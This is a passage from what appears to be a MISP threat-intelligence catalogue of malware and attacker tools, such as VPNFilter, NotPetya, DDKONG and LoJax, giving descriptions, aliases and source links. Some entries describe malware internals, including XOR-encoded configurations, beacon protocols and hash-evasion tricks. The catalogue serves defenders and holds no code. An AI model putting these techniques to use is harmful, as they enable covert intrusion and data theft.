- similar: misp-galaxy:malpedia="KillDisk" with estimative-language:likelihood-probability="likely"

Table 24620. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: *misp-galaxy:tool="UselessDisk"*

UselessDisk is also known as:

- DiskWriter

Table 24621. Table References

Links
https://www.bleepingcomputer.com/news/security/the-diskwriter-or-uselessdisk-bootlocker-may-be-a-wiper/

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to

takedowns.

The tag is: *misp-galaxy:tool="GoScanSSH"*

Table 24622. Table References

Links
http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html
https://www.bleepingcomputer.com/news/security/goscanssh-malware-avoids-government-and-military-servers/

Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: *misp-galaxy:tool="Rovnix"*

Rovnix is also known as:

- ROVNIX

View relationships graph

Rovnix has relationships with:

- similar: misp-galaxy:malpedia="Rovnix" with estimative-language:likelihood-probability="likely"

Table 24623. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Kwampirs

Once Orangeworm has infiltrated a victim's network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

The tag is: *misp-galaxy:tool="Kwampirs"*

View relationships graph

Kwampirs has relationships with:

- similar: misp-galaxy:malpedia="Kwampirs" with estimative-language:likelihood-probability="likely"

Table 24624. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it's cheap, fast, and can defeat basic static antivirus detection.

The tag is: *misp-galaxy:tool="Rubella Macro Builder"*

Table 24625. Table References

Links
https://www.flashpoint-intel.com/blog/rubella-macro-builder/

kitty Malware

Researchers at Imperva's Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.

The tag is: *misp-galaxy:tool="kitty Malware"*

Table 24626. Table References

Links
https://www.zdnet.com/article/hello-kitty-malware-targets-drupal-to-mine-for-cryptocurrency/
https://threatpost.com/kitty-cryptomining-malware-cashes-in-on-drupalgeddon-2-0/131668/
https://cryptovest.com/news/hello-kitty-new-malware-me0ws-its-way-into-mining-monero/

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users' private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

The tag is: *misp-galaxy:tool="Maikspy"*

Table 24627. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/maikspy-spyware-poses-as-adult-game-targets-windows-and-android-users/

Huigezi malware

backdoor trojan popular found prevalently in China

The tag is: *misp-galaxy:tool="Huigezi malware"*

Table 24628. Table References

Links
https://www.bleepingcomputer.com/news/gaming/chinese-police-arrest-15-people-who-hid-malware-inside-pubg-cheat-apps/

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

The tag is: *misp-galaxy:tool="FacexWorm"*

Table 24629. Table References

Links
https://www.bleepingcomputer.com/news/security/facexworm-spreads-via-facebook-messenger-malicious-chrome-extension/

Bankshot

implant used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Bankshot"*

View relationships graph

Bankshot has relationships with:

- similar: misp-galaxy:malpedia="Bankshot" with estimative-language:likelihood-probability="likely"

Table 24630. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Proxysvc

downloader used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Proxysvc"*

Table 24631. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Escad

backdoor used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Escad"*

Table 24632. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

StalinLocker

A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.

The tag is: *misp-galaxy:tool="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

View relationships graph

StalinLocker has relationships with:

- similar: misp-galaxy:malpedia="StalinLocker" with estimative-language:likelihood-probability="almost-certain"

Table 24633. Table References

Links

https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/

VPNFilter

Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.

The tag is: *misp-galaxy:tool="VPNFilter"*

View relationships graph

VPNFilter has relationships with:

- similar: misp-galaxy:malpedia="VPNFilter" with estimative-language:likelihood-probability="almost-certain"

Table 24634. Table References

Links
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/new-vpnfilter-malware-infects-routers/
https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html

Iron Backdoor

Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam's Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.

The tag is: *misp-galaxy:tool="Iron Backdoor"*

Table 24635. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Brambul

Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password

attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.

The tag is: *misp-galaxy:tool="Brambul"*

View relationships graph

Brambul has relationships with:

- similar: misp-galaxy:malpedia="Brambul" with estimative-language:likelihood-probability="likely"

Table 24636. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

PLEAD

PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD"*

View relationships graph

PLEAD has relationships with:

- similar: misp-galaxy:malpedia="PLEAD (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="TSCookie" with estimative-language:likelihood-probability="likely"

Table 24637. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

BabaYaga

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development

challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."

The tag is: *misp-galaxy:tool="BabaYaga"*

Table 24638. Table References

Links
https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/

InvisiMole

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

The tag is: *misp-galaxy:tool="InvisiMole"*

View relationships graph

InvisiMole has relationships with:

- similar: misp-galaxy:malpedia="InvisiMole" with estimative-language:likelihood-probability="likely"

Table 24639. Table References

Links
https://www.bleepingcomputer.com/news/security/invisimole-is-a-complex-spyware-that-can-take-pictures-and-record-audio/

Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

The tag is: *misp-galaxy:tool="Roaming Mantis"*

View relationships graph

Roaming Mantis has relationships with:

- similar: misp-galaxy:malpedia="Roaming Mantis" with estimative-language:likelihood-probability="likely"

Table 24640. Table References

Links
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/

PLEAD Downloader

PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers.On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD Downloader"*

Table 24641. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

ClipboardWalletHijacker

The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.

The tag is: *misp-galaxy:tool="ClipboardWalletHijacker"*

Table 24642. Table References

Links
https://www.bleepingcomputer.com/news/security/clipboard-hijacker-targeting-bitcoin-and-ethereum-users-infects-over-300-0000-pcs/
https://blog.360totalsecurity.com/en/new-cryptominer-hijacks-your-bitcoin-transaction-over-300000-computers-have-been-attacked/

TYPEFRAME

Trojan malware

The tag is: *misp-galaxy:tool="TYPEFRAME"*

Table 24643. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

The tag is: *misp-galaxy:tool="Olympic Destroyer"*

View relationships graph

Olympic Destroyer has relationships with:

- similar: misp-galaxy:malpedia="Olympic Destroyer" with estimative-language:likelihood-probability="likely"

Table 24644. Table References

Links
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html

https://www.bleepingcomputer.com/news/security/malware-that-hit-pyeongchang-olympics-deployed-in-new-attacks/

DDKONG

The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named 'RunOnce'. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it's not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported 'InitAction' function. If 0x6 is specified, the malware is instructed to load the exported 'KernelDllCmdAction' function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family's name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: *misp-galaxy:tool="DDKONG"*

View relationships graph

DDKONG has relationships with:

- similar: misp-galaxy:malpedia="DDKONG" with estimative-language:likelihood-probability="likely"

Table 24645. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the 'Sub' function

which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

The tag is: *misp-galaxy:tool="PLAINTEE"*

View relationships graph

PLAINTEE has relationships with:

- similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"

Table 24646. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host

The tag is: *misp-galaxy:tool="Koadic"*

View relationships graph

Koadic has relationships with:

- similar: misp-galaxy:malpedia="Koadic" with estimative-language:likelihood-probability="likely"

Table 24647. Table References

Links
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file's contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called "Operation Bitter Biscuit," an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: *misp-galaxy:tool="Bisonal"*

View relationships graph

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Table 24648. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://camal.coseinc.com/publish/2013Bisonal.pdf

Sekur

Sekur has been CARBON SPIDER's primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: *misp-galaxy:tool="Sekur"*

Table 24649. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Agent ORM

Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: *misp-galaxy:tool="Agent ORM"*

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

Table 24650. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: *misp-galaxy:tool="VB Flash"*

VB Flash is also known as:

- HALFBAKED

View relationships graph

VB Flash has relationships with:

- similar: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-

language:likelihood-probability="likely"

Table 24651. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: *misp-galaxy:tool="JS Flash"*

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Table 24652. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: *misp-galaxy:tool="Bateleur"*

View relationships graph

Bateleur has relationships with:

- similar: misp-galaxy:malpedia="Bateleur" with estimative-language:likelihood-probability="likely"

Table 24653. Table References

Links

https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JexBoss

A tool for testing and exploiting vulnerabilities in JBoss Application Servers.

The tag is: *misp-galaxy:tool="JexBoss"*

Table 24654. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

reGeorg

“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”

The tag is: *misp-galaxy:tool="reGeorg"*

View relationships graph

reGeorg has relationships with:

- similar: misp-galaxy:malpedia="reGeorg" with estimative-language:likelihood-probability="likely"

Table 24655. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Hyena

An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.

The tag is: *misp-galaxy:tool="Hyena"*

Table 24656. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

csvde.exe

Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.

The tag is: *misp-galaxy:tool="csvde.exe"*

Table 24657. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

NLBrute

A tool to brute-force Remote Desktop Protocol (RDP) passwords.

The tag is: *misp-galaxy:tool="NLBrute"*

Table 24658. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic RDP Patch

Used to create new RDP user accounts.

The tag is: *misp-galaxy:tool="xDedic RDP Patch"*

Table 24659. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic SysScan

Used to profile servers for potential sale on the dark net

The tag is: *misp-galaxy:tool="xDedic SysScan"*

Table 24660. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Wmiexec

A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).

The tag is: *misp-galaxy:tool="Wmiexec"*

Table 24661. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

RDPWrap

Allows a user to be logged in both locally and remotely at the same time.

The tag is: *misp-galaxy:tool="RDPWrap"*

Table 24662. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PsExec

A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.

The tag is: *misp-galaxy:tool="PsExec"*

View relationships graph

PsExec has relationships with:

- similar: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="likely"

Table 24663. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PAExec

A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service's name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.

The tag is: *misp-galaxy:tool="PAExec"*

Table 24664. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

KEYMARBLE

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.

The tag is: *misp-galaxy:tool="KEYMARBLE"*

View relationships graph

KEYMARBLE has relationships with:

- similar: misp-galaxy:malpedia="KEYMARBLE" with estimative-language:likelihood-probability="likely"

Table 24665. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

BISKVIT

The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word "biscuit". Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.

The tag is: *misp-galaxy:tool="BISKVIT"*

Table 24666. Table References

Links
https://www.fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html

Sirefef

This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including: -Downloading and running other files -Contacting remote hosts -Disabling security features Members of the family can also change search results, which can generate money for the hackers who use Sirefef.

The tag is: *misp-galaxy:tool="Sirefef"*

Sirefef is also known as:

- Win32/Sirefef

Table 24667. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2Fsirefef

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.

The tag is: *misp-galaxy:tool="MagentoCore Malware"*

Table 24668. Table References

Links
https://www.bleepingcomputer.com/news/security/magentocore-malware-found-on-7-339-magento-stores/

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian

organizations believed to have assisted the Russian state-sponsored actors with the operation.

The tag is: *misp-galaxy:tool="NotPetya"*

NotPetya is also known as:

- Not Petya

View relationships graph

NotPetya has relationships with:

- similar: misp-galaxy:ransomware="Bad Rabbit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"

Table 24669. Table References

Links
https://www.cfr.org/interactive/cyber-operations/notpetya

Xbash

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim's MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: *misp-galaxy:tool="Xbash"*

View relationships graph

Xbash has relationships with:

- similar: misp-galaxy:malpedia="Xbash" with estimative-language:likelihood-probability="almost-certain"

Table 24670. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

LoJax

rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.

The tag is: *misp-galaxy:tool="LoJax"*

View relationships graph

LoJax has relationships with:

- similar: misp-galaxy:malpedia="LoJax" with estimative-language:likelihood-probability="almost-certain"

Table 24671. Table References

Links
https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/
https://www.bleepingcomputer.com/news/security/lojax-command-and-control-domains-still-active/

Chainshot

The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.

The tag is: *misp-galaxy:tool="Chainshot"*

View relationships graph

Chainshot has relationships with:

- similar: misp-galaxy:malpedia="Chainshot" with estimative-language:likelihood-probability="almost-certain"

Table 24672. Table References

Links
https://www.bleepingcomputer.com/news/security/new-chainshot-malware-found-by-cracking-512-bit-rsa-key/

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other

